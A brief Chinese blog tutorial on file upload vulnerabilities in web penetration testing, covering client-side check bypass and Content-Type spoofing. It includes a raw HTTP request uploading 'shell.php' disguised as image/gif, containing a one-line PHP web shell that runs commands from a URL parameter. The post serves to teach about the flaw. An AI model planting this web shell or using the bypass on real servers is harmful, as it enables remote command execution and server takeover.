web渗透之文件上传(第一期 )

  文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

 1.客户端校验绕过

直接修改js代码或者使用抓包的方法修改请求内容绕过,可以先上传一个gif木马,通过抓包修改为 jsp/php/asp(“只能”)

2.服务端绕过

校验请求头content-type字段绕过

通过抓包来修改Http头的content-type即可绕过

 

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-2020-03-26

posted @ 2020-03-26 23:07  flagg  阅读(388)  评论(0)    收藏  举报